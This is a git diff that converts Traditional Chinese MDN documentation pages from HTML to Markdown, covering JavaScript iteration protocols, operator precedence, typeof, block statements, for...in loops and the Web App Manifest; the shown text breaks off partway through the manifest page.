另外可參考 {{jsxref("Promise.all", "Promise.all(iterable)")}}、{{jsxref("Promise.race", "Promise.race(iterable)")}} 以及 {{jsxref("Array.from", "Array.from()")}}。
- -部分陳述式(statements)及運算式(expressions)為預期用於可迭代物件,例如 for-of
迴圈、spread syntax、yield*
,及解構賦值:
for(let value of ['a', 'b', 'c']){ - console.log(value); -} -// "a" -// "b" -// "c" - -[...'abc']; // ["a", "b", "c"] - -function* gen() { - yield* ['a', 'b', 'c']; -} - -gen().next(); // { value:"a", done:false } - -[a, b, c] = new Set(['a', 'b', 'c']); -a // "a" - -- -
假如可迭件物件的 @@iterator
方法不是回傳一個迭代器物件,即是非良好的(non-well-formed)可迭代物件。如以下方式使用可能會導致執行時期異常或錯誤行為:
var nonWellFormedIterable = {} -nonWellFormedIterable[Symbol.iterator] = () => 1 -[...nonWellFormedIterable] // TypeError: [] is not a function -- -
function makeIterator(array) { - var nextIndex = 0; - - return { - next: function() { - return nextIndex < array.length ? - {value: array[nextIndex++], done: false} : - {done: true}; - } - }; -} - -var it = makeIterator(['yo', 'ya']); - -console.log(it.next().value); // 'yo' -console.log(it.next().value); // 'ya' -console.log(it.next().done); // true -- -
function idMaker() { - var index = 0; - - return { - next: function(){ - return {value: index++, done: false}; - } - }; -} - -var it = idMaker(); - -console.log(it.next().value); // '0' -console.log(it.next().value); // '1' -console.log(it.next().value); // '2' -// ... -- -
function* makeSimpleGenerator(array) { - var nextIndex = 0; - - while (nextIndex < array.length) { - yield array[nextIndex++]; - } -} - -var gen = makeSimpleGenerator(['yo', 'ya']); - -console.log(gen.next().value); // 'yo' -console.log(gen.next().value); // 'ya' -console.log(gen.next().done); // true - - - -function* idMaker() { - var index = 0; - while (true) - yield index++; -} - -var gen = idMaker(); - -console.log(gen.next().value); // '0' -console.log(gen.next().value); // '1' -console.log(gen.next().value); // '2' -// ... -- -
class SimpleClass { - constructor(data) { - this.index = 0; - this.data = data; - } - - [Symbol.iterator]() { - return { - next: () => { - if (this.index < this.data.length) { - return {value: this.data[this.index++], done: false}; - } else { - this.index = 0; //If we would like to iterate over this again without forcing manual update of the index - return {done: true}; - } - } - } - }; -} - -const simple = new SimpleClass([1,2,3,4,5]); - -for (const val of simple) { - console.log(val); //'0' '1' '2' '3' '4' '5' -} -- -
生成器物件(generator object)同時為迭代器及可迭代物件:
- -var aGeneratorObject = function* () { - yield 1; - yield 2; - yield 3; -}(); -typeof aGeneratorObject.next; -// "function", because it has a next method, so it's an iterator -typeof aGeneratorObject[Symbol.iterator]; -// "function", because it has an @@iterator method, so it's an iterable -aGeneratorObject[Symbol.iterator]() === aGeneratorObject; -// true, because its @@iterator method returns itself (an iterator), so it's an well-formed iterable -[...aGeneratorObject]; -// [1, 2, 3] -- -
屬性 | +值 | +
---|---|
next |
+
+ 回傳一個至少擁有以下兩個屬性之物件的無引數函式: +
+ |
+
運算子優先序(Operator precedence)決定了運算子彼此之間被語法解析的方式,優先序較高的運算子會成為優先序較低運算子的運算元(operands)。
- -當優先序相同時,使用相依性決定運算方向。範例如下:
- -a OP b OP c -- -
左相依性 (Left-associativity) ,表示處理順序為從左至右 (a OP b) OP c
,反之,右相依性(right-associativity) 表示處理順序為從右至左 a OP (b OP c)
。賦值運算符 (Assignment operators) 為右相依性,範例如下:
a = b = 5; -- -
a
和 b
的預期結果為 5,因為賦值運算符 (Assignment operator) 為右相依性,因此從右至左返回值。一開始 b
被設定為 5,接著 a
也被設定為 5。
下方表格列出運算子的相依性,從高 (19) 到低 (1)。
- -優先性 - Precedence |
- 運算子名稱 - Operator type |
- 相依性 - Associativity |
- 運算子 - Individual operators |
-
---|---|---|---|
19 | -{{jsxref("Operators/Grouping", "Grouping", "", 1)}} | -無 | -( … ) |
-
18 | -{{jsxref("Operators/Property_Accessors", "Member Access", "#dot_notation", 1)}} | -從左至右 | -… . … |
-
{{jsxref("Operators/Property_Accessors", "Computed Member Access", "#bracket_notation", 1)}} | -從左至右 | -… [ … ] |
- |
{{jsxref("Operators/new","new")}} (with argument list) | -無 | -new … ( … ) |
- |
呼叫函式 | -從左至右 | -… ( … ) |
- |
可選串連(Optional chaining) | -從左至右 | -?. |
- |
17 | -{{jsxref("Operators/new","new")}} (without argument list) | -從右至左 | -new … |
-
16 | -{{jsxref("Operators","字尾遞增","#遞增與遞減", 1)}} | -無 | -… ++ |
-
{{jsxref("Operators","字尾遞減","#遞增與遞減", 1)}} | -… -- |
- ||
15 | -Logical NOT | -從右至左 | -! … |
-
Bitwise NOT | -~ … |
- ||
Unary Plus | -+ … |
- ||
Unary Negation | -- … |
- ||
{{jsxref("Operators","字首遞增","#遞增與遞減", 1)}} | -++ … |
- ||
{{jsxref("Operators","字首遞減","#遞增與遞減", 1)}} | --- … |
- ||
{{jsxref("Operators/typeof", "typeof")}} | -typeof … |
- ||
{{jsxref("Operators/void", "void")}} | -void … |
- ||
{{jsxref("Operators/delete", "delete")}} | -delete … |
- ||
{{jsxref("Operators/await", "await")}} | -await … |
- ||
14 | -Exponentiation | -從右至左 | -… ** … |
-
13 | -Multiplication | -從左至右 | -… * … |
-
Division | -… / … |
- ||
Remainder | -… % … |
- ||
12 | -Addition | -從左至右 | -… + … |
-
Subtraction | -… - … |
- ||
11 | -Bitwise Left Shift | -從左至右 | -… << … |
-
Bitwise Right Shift | -… >> … |
- ||
Bitwise Unsigned Right Shift - | -… >>> … |
- ||
10 | -Less Than | -從左至右 | -… < … |
-
Less Than Or Equal | -… <= … |
- ||
Greater Than | -… > … |
- ||
Greater Than Or Equal | -… >= … |
- ||
{{jsxref("Operators/in", "in")}} | -… in … |
- ||
{{jsxref("Operators/instanceof", "instanceof")}} | -… instanceof … |
- ||
9 | -Equality | -從左至右 | -… == … |
-
Inequality | -… != … |
- ||
Strict Equality | -… === … |
- ||
Strict Inequality | -… !== … |
- ||
8 | -Bitwise AND | -從左至右 | -… & … |
-
7 | -Bitwise XOR | -從左至右 | -… ^ … |
-
6 | -Bitwise OR | -從左至右 | -… | … |
-
5 | -Logical AND | -從左至右 | -… && … |
-
4 | -Logical OR | -從左至右 | -… || … |
-
Nullish Coalescing | -從左至右 | -… ?? … |
- |
3 | -條件運算 | -從右至左 | -… ? … : … |
-
2 | -賦值 | -從右至左 | -… = … |
-
… += … |
- |||
… -= … |
- |||
… **= … |
- |||
… *= … |
- |||
… /= … |
- |||
… %= … |
- |||
… <<= … |
- |||
… >>= … |
- |||
… >>>= … |
- |||
… &= … |
- |||
… ^= … |
- |||
… |= … |
- |||
… &&= … |
- |||
… ||= … |
- |||
… ??= … |
- |||
1 | -Comma / Sequence | -從左至右 | -… , … |
-
優先性 Precedence |
+ 運算子名稱 Operator type |
+ 相依性 Associativity |
+ 運算子 Individual operators |
+
---|---|---|---|
19 | ++ {{jsxref("Operators/Grouping", "Grouping", "", 1)}} + | +無 | +( … ) |
+
18 | ++ {{jsxref("Operators/Property_Accessors", "Member Access", "#dot_notation", 1)}} + | +從左至右 | +… . … |
+
+ {{jsxref("Operators/Property_Accessors", "Computed Member Access", "#bracket_notation", 1)}} + | +從左至右 | +… [ … ] |
+ |
{{jsxref("Operators/new","new")}} (with argument list) | +無 | +new … ( … ) |
+ |
呼叫函式 | +從左至右 | +
+ … ( … )
+ |
+ |
+ 可選串連(Optional chaining) + | +從左至右 | +?. |
+ |
17 | ++ {{jsxref("Operators/new","new")}} (without argument list) + | +從右至左 | +new … |
+
16 | ++ {{jsxref("Operators","字尾遞增","#遞增與遞減", 1)}} + | +無 | +… ++ |
+
+ {{jsxref("Operators","字尾遞減","#遞增與遞減", 1)}} + | +… -- |
+ ||
15 | ++ Logical NOT + | +從右至左 | +! … |
+
+ Bitwise NOT + | +~ … |
+ ||
+ Unary Plus + | ++ … |
+ ||
+ Unary Negation + | +- … |
+ ||
+ {{jsxref("Operators","字首遞增","#遞增與遞減", 1)}} + | +++ … |
+ ||
+ {{jsxref("Operators","字首遞減","#遞增與遞減", 1)}} + | +-- … |
+ ||
{{jsxref("Operators/typeof", "typeof")}} | +typeof … |
+ ||
{{jsxref("Operators/void", "void")}} | +void … |
+ ||
{{jsxref("Operators/delete", "delete")}} | +delete … |
+ ||
{{jsxref("Operators/await", "await")}} | +await … |
+ ||
14 | ++ Exponentiation + | +從右至左 | +… ** … |
+
13 | ++ Multiplication + | +從左至右 | +… * … |
+
+ Division + | +… / … |
+ ||
+ Remainder + | +… % … |
+ ||
12 | ++ Addition + | +從左至右 | +… + … |
+
+ Subtraction + | +… - … |
+ ||
11 | ++ Bitwise Left Shift + | +從左至右 | +… << … |
+
+ Bitwise Right Shift + | +… >> … |
+ ||
+ Bitwise Unsigned Right Shift + | +… >>> … |
+ ||
10 | ++ Less Than + | +從左至右 | +… < … |
+
+ Less Than Or Equal + | +… <= … |
+ ||
+ Greater Than + | +… > … |
+ ||
+ Greater Than Or Equal + | +… >= … |
+ ||
{{jsxref("Operators/in", "in")}} | +… in … |
+ ||
{{jsxref("Operators/instanceof", "instanceof")}} | +… instanceof … |
+ ||
9 | ++ Equality + | +從左至右 | +… == … |
+
+ Inequality + | +… != … |
+ ||
+ Strict Equality + | +… === … |
+ ||
+ Strict Inequality + | +… !== … |
+ ||
8 | ++ Bitwise AND + | +從左至右 | +… & … |
+
7 | ++ Bitwise XOR + | +從左至右 | +… ^ … |
+
6 | ++ Bitwise OR + | +從左至右 | +… | … |
+
5 | ++ Logical AND + | +從左至右 | +… && … |
+
4 | ++ Logical OR + | +從左至右 | +… || … |
+
+ Nullish Coalescing + | +從左至右 | +… ?? … |
+ |
3 | ++ 條件運算 + | +從右至左 | +… ? … : … |
+
2 | ++ 賦值 + | +從右至左 | +… = … |
+
… += … |
+ |||
… -= … |
+ |||
… **= … |
+ |||
… *= … |
+ |||
… /= … |
+ |||
… %= … |
+ |||
… <<= … |
+ |||
… >>= … |
+ |||
… >>>= … |
+ |||
… &= … |
+ |||
… ^= … |
+ |||
… |= … |
+ |||
… &&= … |
+ |||
… ||= … |
+ |||
… ??= … |
+ |||
1 | ++ Comma / Sequence + | +從左至右 | +… , … |
+
{{jsSidebar("Operators")}}
- -typeof 運算子會傳回一個字串值, 指出未經運算 (unevaluated) 的運算元所代表的型別。
- -運算子 | -|
---|---|
實作於: | -JavaScript 1.1 | -
ECMA 版本: | -ECMA-262 (以及 ECMA-357 for E4X objects) | -
typeof
之後面跟著它的唯一運算元:
typeof operand
-
-operand
表示式代表傳入的物件或原始型別。下表摘要列出了 typeof 可能的傳回值
:
型別 | -傳回 | -
---|---|
Undefined | -"undefined" |
-
Null | -"object" |
-
Boolean | -"boolean" |
-
Number | -"number" |
-
String | -"string" |
-
主機端物件 (由 JS 執行環境提供) | -視實作方式而異 | -
Function 物件 (實作 ECMA-262 所定義的 [[Call]]) | -"function" |
-
E4X XML 物件 | -"xml" | -
E4X XMLList 物件 | -"xml" | -
所有其它物件 | -"object" |
-
// Numbers -typeof 37 === 'number'; -typeof 3.14 === 'number'; -typeof Math.LN2 === 'number'; -typeof Infinity === 'number'; -typeof NaN === 'number'; // 雖然是 "Not-A-Number" -typeof Number(1) === 'number'; // 但是不要使用這種方式! - -// Strings -typeof "" === 'string'; -typeof "bla" === 'string'; -typeof (typeof 1) === 'string'; // typeof 一律會傳回一個字串 -typeof String("abc") === 'string'; // 但是不要使用這種方式! - -// Booleans -typeof true === 'boolean'; -typeof false === 'boolean'; -typeof Boolean(true) === 'boolean'; // 但是不要使用這種方式! - -// Undefined -typeof undefined === 'undefined'; -typeof blabla === 'undefined'; // 一個 undefined 變數 - -// Objects -typeof {a:1} === 'object'; -typeof [1, 2, 4] === 'object'; // 請使用 Array.isArray 或者 Object.prototype.toString.call 以區分正規運算式和陣列 -typeof new Date() === 'object'; - -typeof new Boolean(true) === 'object'; // 這樣會令人混淆。不要這樣用! -typeof new Number(1) === 'object'; // 這樣會令人混淆。不要這樣用! -typeof new String("abc") === 'object'; // 這樣會令人混淆。不要這樣用! - -// Functions -typeof function(){} === 'function'; -typeof Math.sin === 'function'; -- -
null
typeof null === 'object'; // 自從有 JavaScript 開始就是這樣了 -- -
自從 JavaScript 一開始出現, JavaScript 的值就總以型別標簽跟著一個值的方式表示。物件的型別標簽是 0. 而 null
這個值是使用 NULL 指標 (在大部份平台上是 0x00) 來表示. 因此, null 看起來像是一個以 0 為型別標簽的值, 並使得 typeof
傳回不甚正確的結果. (參考來源)
這個問題已計畫在下一版 ECMAScript 予以修正 (會以 opt-in 方式提供). 屆時它將會做出如 typeof null === 'null'
的正確回傳結果。
備註:此修正計畫已被拒絕
-可呼叫的正規表示式在某些瀏覽器上面必須借助非正式插件 (need reference to say which).
- -typeof /s/ === 'function'; // Chrome 1-12 ... // 不符合 ECMAScript 5.1 (譯註: 在新版 Chrome 已修正為 'object') -typeof /s/ === 'object'; // Firefox 5+ ... // 符合 ECMAScript 5.1 -- -
在 IE 6, 7 和 8, typeof alert === 'object'
備註:這並不怪異。這是實情。在許多較舊的 IE 中, 主機端物件的確是物件, 而非函數
-運算子 | +|
---|---|
實作於: | +JavaScript 1.1 | +
ECMA 版本: | +ECMA-262 (以及 ECMA-357 for E4X objects) | +
{{jsSidebar("Statements")}}
- -區塊陳述用來組合零個或多個陳述。我們使用一對大括號 { } 以界定區塊。
- -陳述句 | -|
---|---|
Implemented in | -JavaScript 1.0 | -
ECMAScript edition | -ECMA-262 1st edition | -
{ - 陳述_1 - 陳述_2 - ... - 陳述_n -} -- -
陳述_1
, 陳述_2
, 陳述_n
區塊陳述通常配合流程控制陳述(如 if
、for
、while
)一併使用。
var
使用var
區塊中定義的變數,其存取範圍是整個整個函式或是腳本,即為Execution Context的範圍中。
var x = 1; -{ - var x = 2; -} -alert(x); // outputs 2 -- -
輸出結果是 2。因為var是宣告於整個腳本範圍中。
- -let
和 const
當使用let
或是const
進行宣告時,其存取範圍是只有本身定義的區塊中。
let x = 1; -{ - let x = 2; -} -console.log(x); // logs 1- -
function
當function被呼叫時,會建立此function的Execution Context,因此在function區塊使用var
整個function區塊中都可對其進行存取。
function foo() { - { - var a = 'var'; - { - let a = 'let'; - console.log(a); // let - } - } - console.log(a); // var -} -foo();- -
陳述句 | +|
---|---|
Implemented in | +JavaScript 1.0 | +
ECMAScript edition | +ECMA-262 1st edition | +
{{jsSidebar("Statements")}}
- -迭代物件的可列舉屬性。對每個相異屬性,執行陳述式。
- -Statement | -|
---|---|
Implemented in: | -JavaScript 1.0 | -
ECMA Version: | -ECMA-262 | -
for (變數 in 物件) {... -}- -
變數
物件
for...in
迴圈只迭代可列舉屬性。由內建建構式(如:Array、Object) 製造的物件,從 Object.prototype
和 String.prototype
繼承了不可列舉屬性,如: String
的indexOf
方法,或 Object
的 toString
方法。 迴圈將迭代全部可列舉屬性,包括了物件自身的和物件繼承自它的建構式之原型的可列舉屬性。(原型鏈上較接近物件的屬性覆蓋原型的屬性)
A for...in
loop iterates over the properties of an object in an arbitrary order (see the delete operator for more on why one cannot depend on the seeming orderliness of iteration, at least in a cross-browser setting). If a property is modified in one iteration and then visited at a later time, its value in the loop is its value at that later time. A property that is deleted before it has been visited will not be visited later. Properties added to the object over which iteration is occurring may either be visited or omitted from iteration. In general it is best not to add, modify or remove properties from the object during iteration, other than the property currently being visited. There is no guarantee whether or not an added property will be visited, whether a modified property (other than the current one) will be visited before or after it is modified, or whether a deleted property will be visited before it is deleted.
Note: If you only want to consider properties attached to the object itself, and not its prototypes, use getOwnPropertyNames or perform a hasOwnProperty check (propertyIsEnumerable can also be used). Alternatively, if you know there won't be any outside code interference, you can extend built-in prototypes with a check method.
-備註:for..in
不應該用來迭代一個索引順序很重要的陣列。 陣列索引只是以整數命名的可列舉屬性,其他方面等同於一般物件屬性。 無法擔保 for...in
以特定順序傳回索引,並且它將傳回全部可列舉屬性,包括非整數名的,以及繼承而來的可列舉屬性。
因為迭代的順序依賴於 JavaScript 引擎的實作,在不同引擎下,迭代一個陣列可能不是以一個一致的順序存取陣列元素。因此,當你迭代陣列,且該陣列的存取順序很重要時,最好是使用以數值索引的 for 迴圈 (或 Array.forEach 或非標準 for...of
迴圈)。
The following function takes as its arguments an object and the object's name. It then iterates over all the object's enumerable properties and returns a string of the property names and their values.
- -var o = {a:1, b:2, c:3}; - -function show_props(obj, objName) { - var result = ""; - - for (var prop in obj) { - result += objName + "." + prop + " = " + obj[prop] + "\n"; - } - - return result; -} - -alert(show_props(o, "o")); /* alerts (in different lines): o.a = 1 o.b = 2 o.c = 3 */ -- -
The following function illustrates the use of hasOwnProperty: the inherited properties are not displayed.
- -var triangle = {a:1, b:2, c:3}; - -function ColoredTriangle() { - this.color = "red"; -} - -ColoredTriangle.prototype = triangle; - -function show_own_props(obj, objName) { - var result = ""; - - for (var prop in obj) { - if( obj.hasOwnProperty( prop ) ) { - result += objName + "." + prop + " = " + obj[prop] + "\n"; - } - } - - return result; -} - -o = new ColoredTriangle(); -alert(show_own_props(o, "o")); /* alerts: o.color = red */ -- -
for...of
- a similar statement that iterates over the property valuesfor each...in
- a similar statement, but iterates over the values of object's properties, rather than the property names themselves (New in JavaScript 1.6 but deprecated)for...in
syntax)getOwnPropertyNames
hasOwnProperty
Array.prototype.forEach
Statement | +|
---|---|
Implemented in: | +JavaScript 1.0 | +
ECMA Version: | +ECMA-262 | +
{{SeeCompatTable}}
- -Web App manifest 是一個 JSON 格式的文件,它提供了應用程式相關的資訊(像是名稱、作者、圖示、描述)。 manifest 的功用是將 Web 應用程式安裝到設備的主畫面,為使用者提供更快速的訪問和更豐富的體驗。
- -Web App manifests 是屬於 progressive web apps 的 Web 技術系列的一部分, 這是一個能不透過 App 商店就能被安裝到設備主畫面的 Web 應用程式,伴隨著其他功能,比如離線使用和通知的接收發送。
- -Web app manifest 的部署只需要在 HTML 文件中的 head 區域加上 link 元素即可。
- -<link rel="manifest" href="/manifest.json">
-{ - "name": "HackerWeb", - "short_name": "HackerWeb", - "start_url": ".", - "display": "standalone", - "background_color": "#fff", - "description": "A simply readable Hacker News app.", - "icons": [{ - "src": "images/touch/homescreen48.png", - "sizes": "48x48", - "type": "image/png" - }, { - "src": "images/touch/homescreen72.png", - "sizes": "72x72", - "type": "image/png" - }, { - "src": "images/touch/homescreen96.png", - "sizes": "96x96", - "type": "image/png" - }, { - "src": "images/touch/homescreen144.png", - "sizes": "144x144", - "type": "image/png" - }, { - "src": "images/touch/homescreen168.png", - "sizes": "168x168", - "type": "image/png" - }, { - "src": "images/touch/homescreen192.png", - "sizes": "192x192", - "type": "image/png" - }], - "related_applications": [{ - "platform": "web" - }, { - "platform": "play", - "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb" - }] -}- -
background_color
定義 Web 應用程式預期的背景顏色。 其值雖然與應用程式樣式表中的值有所重複,但是在 manifest 已可用而樣式表載入之前,瀏覽器可使用該值來繪製 Web 應用程式的背景色。 這能在 Web 應用程式的啟動和載入內容之間創建平順的過場。
- -"background_color": "red"- -
Note: background_color
成員僅用於改善 Web 應用程式載入時體驗,並且當 Web 應用程式的樣式表可用時,使用者代理不能再將其用作背景顏色。
description
提供一段描述來形容這個 Web 應用程式的作用是什麼。
- -"description": "The app that helps you find the best food in town!"- -
dir
指定一個對於 name
、short_name、
description
等成員的主要書寫方向。 包含 lang
成員,其能夠為右至左書寫的語言提供幫助。
"dir": "rtl", -"lang": "ar", -"short_name": "أنا من التطبيق!"- -
其值可以是下列的其中之一:
- -ltr
(左至右)rtl
(右至左)auto
(讓瀏覽器根據 Unicode 雙向演算法對書寫方向做出最佳的猜測)Note: 當省略其值時,預設為 auto
。
display
定義開發者喜好的 Web 應用程式顯示模式。
- -"display": "standalone"- -
有效值:
- -顯示模式 | -描述 | -Fallback 顯示模式 | -
---|---|---|
fullscreen |
- 所有可用的顯示區域都被填充並且不顯示使用者代理 {{Glossary("chrome")}} 。 | -standalone |
-
standalone |
- 這看起來和感覺上就像是獨立應用程式一樣,包括有不同的執行視窗、有圖示的應用程式啟動器 ... 等等。 在這模式下,使用者代理將不包含控制導覽列,但能包含其他的 UI 元素,像是狀態列。 | -minimal-ui |
-
minimal-ui |
- 這看起來和感覺上就像是獨立應用程式一樣,但將有控制導覽列 UI 元素的最小設置,元素會因瀏覽器而不同。 | -browser |
-
browser |
- 預設值。 應用程式如常規般地被開啟於瀏覽器分頁或新視窗,依瀏覽器與平台而不同。 | -(None) | -
Note: 您能根據顯示模式選擇性地將 CSS display-mode media 功能運用於您的應用程式,這可以提供一致的使用者體驗不管是由網址開啟網站或者由桌面圖示啟動。
-icons
指定一個陣列,其包含可以在不同上下文情況當中做為應用程式圖示的物件。 舉例來說,其可能被用作代表該 web 應用程式出現在其他應用程式的列表當中,或是作業系統的任務切換器 task switcher 與系統偏好設定 system preferences。
- -"icons": [ - { - "src": "icon/lowres.webp", - "sizes": "48x48", - "type": "image/webp" - }, - { - "src": "icon/lowres", - "sizes": "48x48" - }, - { - "src": "icon/hd_hi.ico", - "sizes": "72x72 96x96 128x128 256x256" - }, - { - "src": "icon/hd_hi.svg", - "sizes": "72x72" - } -]- -
圖示物件能包含下列的值:
- -成員 | -描述 | -
---|---|
sizes |
- 以空白間隔各圖片尺吋的一個字串。 | -
src |
- 圖檔的路徑。 若 src 為相對路徑,則網址將以 manifest 的位置為基準。 | -
type |
- 關於圖片媒體類型的提示。 其使用目的是允許使用者代理快速地去忽略其不支持的媒體類型的圖片。 | -
lang
指定一個對於 name
、short_name
等成員的主要語言。 其值限單一種語言標籤的字串。
"lang": "en-US"- -
name
提供一個人類可讀的應用程式名稱,其值是對使用者顯示的,可能在其他應用程式的列表之中,或是做為圖示的標籤。
- -"name": "Google I/O 2017"- -
orientation
定義預設的顯示方向,其將作用在 all the web application's top level {{Glossary("Browsing context", "browsing contexts")}}.
- -"orientation": "portrait-primary"- -
其值可以是下列的其中之一:
- -any
natural
landscape
landscape-primary
landscape-secondary
portrait
portrait-primary
portrait-secondary
prefer_related_applications
提供一個布林值告訴使用者代理是否要在 Web 應用程式上去推薦一個相關的應用程式(見下文)給使用者。 這應該只被使用在當原生應用程式提供了 Web 應用程式無法替代其功用的時候。
- -"prefer_related_applications": false- -
Note: 當省略其值時,預設為 false。
related_applications
指定一個包含「應用程式物件」的陣列,其物件用以表示一個能被底層平台安裝或訪問的原生應用程式 — 例如能由 Google Play 商店獲取的原生 Android 應用程式。 這是一個可選的替代方案,如同原生應用程式版的 Web 應用程式一般去提供相似或等同的功能。
- -"related_applications": [ - { - "platform": "play", - "url": "https://play.google.com/store/apps/details?id=com.example.app1", - "id": "com.example.app1" - }, { - "platform": "itunes", - "url": "https://itunes.apple.com/app/example-app1/id123456789" - }]- -
應用程式物件能包含下列的值:
- -成員 | -描述 | -
---|---|
platform |
- 可以找到該應用程式的平台。 | -
url |
- 可以找到該應用程式的網址。 | -
id |
- 在特定平台上代表該應用程式的 ID。 | -
scope
Defines the navigation scope of this web application's application context. This basically restricts what web pages can be viewed while the manifest is applied. If the user navigates the application outside the scope, it returns to being a normal web page.
- -If the scope is a relative URL, the base URL will be the URL of the manifest.
- -"scope": "/myapp/"- -
short_name
提供一個人類可讀且較簡短的應用程式名稱,其值將被使用在較不足以去顯示 Web 應用程式全名的空間。
- -"short_name": "I/O 2017" -- -
start_url
指定一個當使用者由裝置上啟動應用程式時所開啟的網址。 若使用相對路徑,則網址將以 manifest 的位置為基準。
- -"start_url": "./?utm_source=web_app_manifest"- -
theme_color
定義一個應用程式預設的主題顏色。 其值會被作業系統在某些時候運用來顯示應用程式(如: Android 的任務切換器 task switcher 就以主題顏色圍繞著應用程式)。
- -"theme_color": "aliceblue"- -
在 Chrome 47 或較新版本,啟動畫面 splash screen 會被使用在當 Web 應用程式由主畫面開啟的時後。 這啟動畫面是依 Web App manifest 的屬性自動產生的,明確來說是由 name
、background_color
、 icons
陣列中較接近裝置的 128dpi 的圖示。
Manifests 應該被使用 application/manifest+json
的 MIME 類型。不過這是可選的。
{{Compat}}
diff --git a/files/zh-tw/web/manifest/index.md b/files/zh-tw/web/manifest/index.md new file mode 100644 index 00000000000000..343ce287246c3b --- /dev/null +++ b/files/zh-tw/web/manifest/index.md @@ -0,0 +1,268 @@ +--- +title: Web App Manifest +slug: Web/Manifest +translation_of: Web/Manifest +--- +{{SeeCompatTable}} + +Web App manifest 是一個 JSON 格式的文件,它提供了應用程式相關的資訊(像是名稱、作者、圖示、描述)。 manifest 的功用是將 Web 應用程式安裝到設備的主畫面,為使用者提供更快速的訪問和更豐富的體驗。 + +Web App manifests 是屬於 [progressive web apps](/zh-TW/docs/Web/Apps/Progressive) 的 Web 技術系列的一部分, 這是一個能不透過 App 商店就能被安裝到設備主畫面的 Web 應用程式,伴隨著其他功能,比如離線使用和通知的接收發送。 + +## 部署 manifest + +Web app manifest 的部署只需要在 HTML 文件中的 [head](/zh-TW/docs/Web/HTML/Element/head) 區域加上 [link 元素](/zh-TW/docs/Web/HTML/Element/link)即可。 + +```html + +``` + +## manifest 範例 + +```json +{ + "name": "HackerWeb", + "short_name": "HackerWeb", + "start_url": ".", + "display": "standalone", + "background_color": "#fff", + "description": "A simply readable Hacker News app.", + "icons": [{ + "src": "images/touch/homescreen48.png", + "sizes": "48x48", + "type": "image/png" + }, { + "src": "images/touch/homescreen72.png", + "sizes": "72x72", + "type": "image/png" + }, { + "src": "images/touch/homescreen96.png", + "sizes": "96x96", + "type": "image/png" + }, { + "src": "images/touch/homescreen144.png", + "sizes": "144x144", + "type": "image/png" + }, { + "src": "images/touch/homescreen168.png", + "sizes": "168x168", + "type": "image/png" + }, { + "src": "images/touch/homescreen192.png", + "sizes": "192x192", + "type": "image/png" + }], + "related_applications": [{ + "platform": "web" + }, { + "platform": "play", + "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb" + }] +} +``` + +## 成員 + +### `background_color` + +定義 Web 應用程式預期的背景顏色。 其值雖然與應用程式樣式表中的值有所重複,但是在 manifest 已可用而樣式表載入之前,瀏覽器可使用該值來繪製 Web 應用程式的背景色。 這能在 Web 應用程式的啟動和載入內容之間創建平順的過場。 + +```json +"background_color": "red" +``` + +> **備註:** `background_color` 成員僅用於改善 Web 應用程式載入時體驗,並且當 Web 應用程式的樣式表可用時,使用者代理不能再將其用作背景顏色。 + +### `description` + +提供一段描述來形容這個 Web 應用程式的作用是什麼。 + +```json +"description": "The app that helps you find the best food in town!" +``` + +### `dir` + +指定一個對於 `name`、` short_name、``description ` 等成員的主要書寫方向。 包含 `lang` 成員,其能夠為右至左書寫的語言提供幫助。 + +```json +"dir": "rtl", +"lang": "ar", +"short_name": "أنا من التطبيق!" +``` + +其值可以是下列的其中之一: + +- `ltr`(左至右) +- `rtl`(右至左) +- `auto`(讓瀏覽器根據 Unicode 雙向演算法對書寫方向做出最佳的猜測) + +> **備註:** 當省略其值時,預設為 `auto`。 + +### `display` + +定義開發者喜好的 Web 應用程式顯示模式。 + +```json +"display": "standalone" +``` + +有效值: + +| 顯示模式 | 描述 | Fallback 顯示模式 | +| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------- | +| `fullscreen` | 所有可用的顯示區域都被填充並且不顯示使用者代理 {{Glossary("chrome")}} 。 | `standalone` | +| `standalone` | 這看起來和感覺上就像是獨立應用程式一樣,包括有不同的執行視窗、有圖示的應用程式啟動器 ... 等等。 在這模式下,使用者代理將不包含控制導覽列,但能包含其他的 UI 元素,像是狀態列。 | `minimal-ui` | +| `minimal-ui` | 這看起來和感覺上就像是獨立應用程式一樣,但將有控制導覽列 UI 元素的最小設置,元素會因瀏覽器而不同。 | `browser` | +| `browser` | 預設值。 應用程式如常規般地被開啟於瀏覽器分頁或新視窗,依瀏覽器與平台而不同。 | (None) | + +> **備註:** 您能根據顯示模式選擇性地將 CSS [display-mode](/docs/Web/CSS/@media/display-mode) media 功能運用於您的應用程式,這可以提供一致的使用者體驗不管是由網址開啟網站或者由桌面圖示啟動。 + +### `icons` + +指定一個陣列,其包含可以在不同上下文情況當中做為應用程式圖示的物件。 舉例來說,其可能被用作代表該 web 應用程式出現在其他應用程式的列表當中,或是作業系統的任務切換器 task switcher 與系統偏好設定 system preferences。 + +```json +"icons": [ + { + "src": "icon/lowres.webp", + "sizes": "48x48", + "type": "image/webp" + }, + { + "src": "icon/lowres", + "sizes": "48x48" + }, + { + "src": "icon/hd_hi.ico", + "sizes": "72x72 96x96 128x128 256x256" + }, + { + "src": "icon/hd_hi.svg", + "sizes": "72x72" + } +] +``` + +圖示物件能包含下列的值: + +| 成員 | 描述 | +| ------- | ----------------------------------------------------------------------------------------- | +| `sizes` | 以空白間隔各圖片尺吋的一個字串。 | +| `src` | 圖檔的路徑。 若 src 為相對路徑,則網址將以 manifest 的位置為基準。 | +| `type` | 關於圖片媒體類型的提示。 其使用目的是允許使用者代理快速地去忽略其不支持的媒體類型的圖片。 | + +### `lang` + +指定一個對於 `name`、`short_name` 等成員的主要語言。 其值限單一種語言標籤的字串。 + +```json +"lang": "en-US" +``` + +### `name` + +提供一個人類可讀的應用程式名稱,其值是對使用者顯示的,可能在其他應用程式的列表之中,或是做為圖示的標籤。 + +```json +"name": "Google I/O 2017" +``` + +### `orientation` + +定義預設的顯示方向,其將作用在 all the web application's top level {{Glossary("Browsing context", "browsing contexts")}}. + +```json +"orientation": "portrait-primary" +``` + +其值可以是下列的其中之一: + +- `any` +- `natural` +- `landscape` +- `landscape-primary` +- `landscape-secondary` +- `portrait` +- `portrait-primary` +- `portrait-secondary` + +### `prefer_related_applications` + +提供一個布林值告訴使用者代理是否要在 Web 應用程式上去推薦一個相關的應用程式(見下文)給使用者。 這應該只被使用在當原生應用程式提供了 Web 應用程式無法替代其功用的時候。 + +```json +"prefer_related_applications": false +``` + +> **備註:** 當省略其值時,預設為 `false。` + +### 